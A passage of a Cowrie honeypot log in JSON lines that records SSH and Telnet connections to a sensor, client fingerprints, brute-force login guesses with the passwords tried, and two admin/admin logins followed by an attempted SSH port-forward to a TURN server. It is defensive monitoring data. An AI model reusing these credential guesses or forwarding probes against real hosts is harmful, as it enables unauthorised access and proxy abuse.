16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:33.751431Z","src_ip":"62.133.63.178","session":"91316fad7273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhifdby","message":"login attempt [root/fhifdby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:34.128207Z","src_ip":"62.133.63.178","session":"91316fad7273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:35.255649Z","src_ip":"62.133.63.178","session":"91316fad7273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":37120,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed7c6b95a393","protocol":"ssh","message":"New connection: 103.77.242.62:37120 (10.17.0.5:22) [session: ed7c6b95a393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:47.651848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:47.657818Z","src_ip":"103.77.242.62","session":"ed7c6b95a393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:47.905342Z","src_ip":"103.77.242.62","session":"ed7c6b95a393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfpfyjdf","message":"login attempt [root/rfpfyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:48.650110Z","src_ip":"103.77.242.62","session":"ed7c6b95a393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:49.901698Z","src_ip":"103.77.242.62","session":"ed7c6b95a393","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":52248,"dst_ip":"159.203.135.109","dst_port":22,"session":"92f1c62b95d7","protocol":"ssh","message":"New connection: 20.87.219.67:52248 (159.203.135.109:22) [session: 92f1c62b95d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:56.248523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:56.253690Z","src_ip":"20.87.219.67","session":"92f1c62b95d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:56.480695Z","src_ip":"20.87.219.67","session":"92f1c62b95d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starcraft2","message":"login attempt [root/starcraft2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:57.422552Z","src_ip":"20.87.219.67","session":"92f1c62b95d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:19:58.653319Z","src_ip":"20.87.219.67","session":"92f1c62b95d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.177.78.181","src_port":57649,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e667d904bd5","protocol":"telnet","message":"New connection: 58.177.78.181:57649 (159.203.135.109:23) [session: 5e667d904bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:20:19.658884Z"}
{"eventid":"cowrie.session.closed","duration":30.35204792022705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:20:50.010777Z","src_ip":"58.177.78.181","session":"5e667d904bd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":45082,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b585027a2b5","protocol":"ssh","message":"New connection: 27.79.1.70:45082 (159.203.135.109:22) [session: 3b585027a2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:15.265572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:15.318473Z","src_ip":"27.79.1.70","session":"3b585027a2b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:15.565070Z","src_ip":"27.79.1.70","session":"3b585027a2b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0l0ctyQh243O63uD","message":"login attempt [admin/0l0ctyQh243O63uD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:17.908246Z","src_ip":"27.79.1.70","session":"3b585027a2b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:19.234228Z","src_ip":"27.79.1.70","session":"3b585027a2b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":41456,"dst_ip":"10.17.0.5","dst_port":22,"session":"7adc1a8d7e23","protocol":"ssh","message":"New connection: 45.148.10.121:41456 (10.17.0.5:22) [session: 7adc1a8d7e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:34.152829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:34.157472Z","src_ip":"45.148.10.121","session":"7adc1a8d7e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:34.241432Z","src_ip":"45.148.10.121","session":"7adc1a8d7e23","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:34.494601Z","src_ip":"45.148.10.121","session":"7adc1a8d7e23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:34.583394Z","session":"7adc1a8d7e23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:34.674227Z","src_ip":"45.148.10.121","session":"7adc1a8d7e23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:34.679476Z","src_ip":"45.148.10.121","session":"7adc1a8d7e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:34.768727Z","src_ip":"45.148.10.121","session":"7adc1a8d7e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":41468,"dst_ip":"10.17.0.5","dst_port":22,"session":"aab26fd2a515","protocol":"ssh","message":"New connection: 45.148.10.121:41468 (10.17.0.5:22) [session: aab26fd2a515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:34.851965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:34.858755Z","src_ip":"45.148.10.121","session":"aab26fd2a515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:34.947538Z","src_ip":"45.148.10.121","session":"aab26fd2a515","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:35.248774Z","src_ip":"45.148.10.121","session":"aab26fd2a515","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:35.338385Z","session":"aab26fd2a515","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:35.426785Z","src_ip":"45.148.10.121","session":"aab26fd2a515","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:35.431008Z","src_ip":"45.148.10.121","session":"aab26fd2a515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:35.525093Z","src_ip":"45.148.10.121","session":"aab26fd2a515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":57126,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f9b188028aa","protocol":"ssh","message":"New connection: 27.79.1.70:57126 (159.203.135.109:22) [session: 5f9b188028aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:45.801597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:45.821250Z","src_ip":"27.79.1.70","session":"5f9b188028aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:46.126477Z","src_ip":"27.79.1.70","session":"5f9b188028aa","protocol":"ssh"}
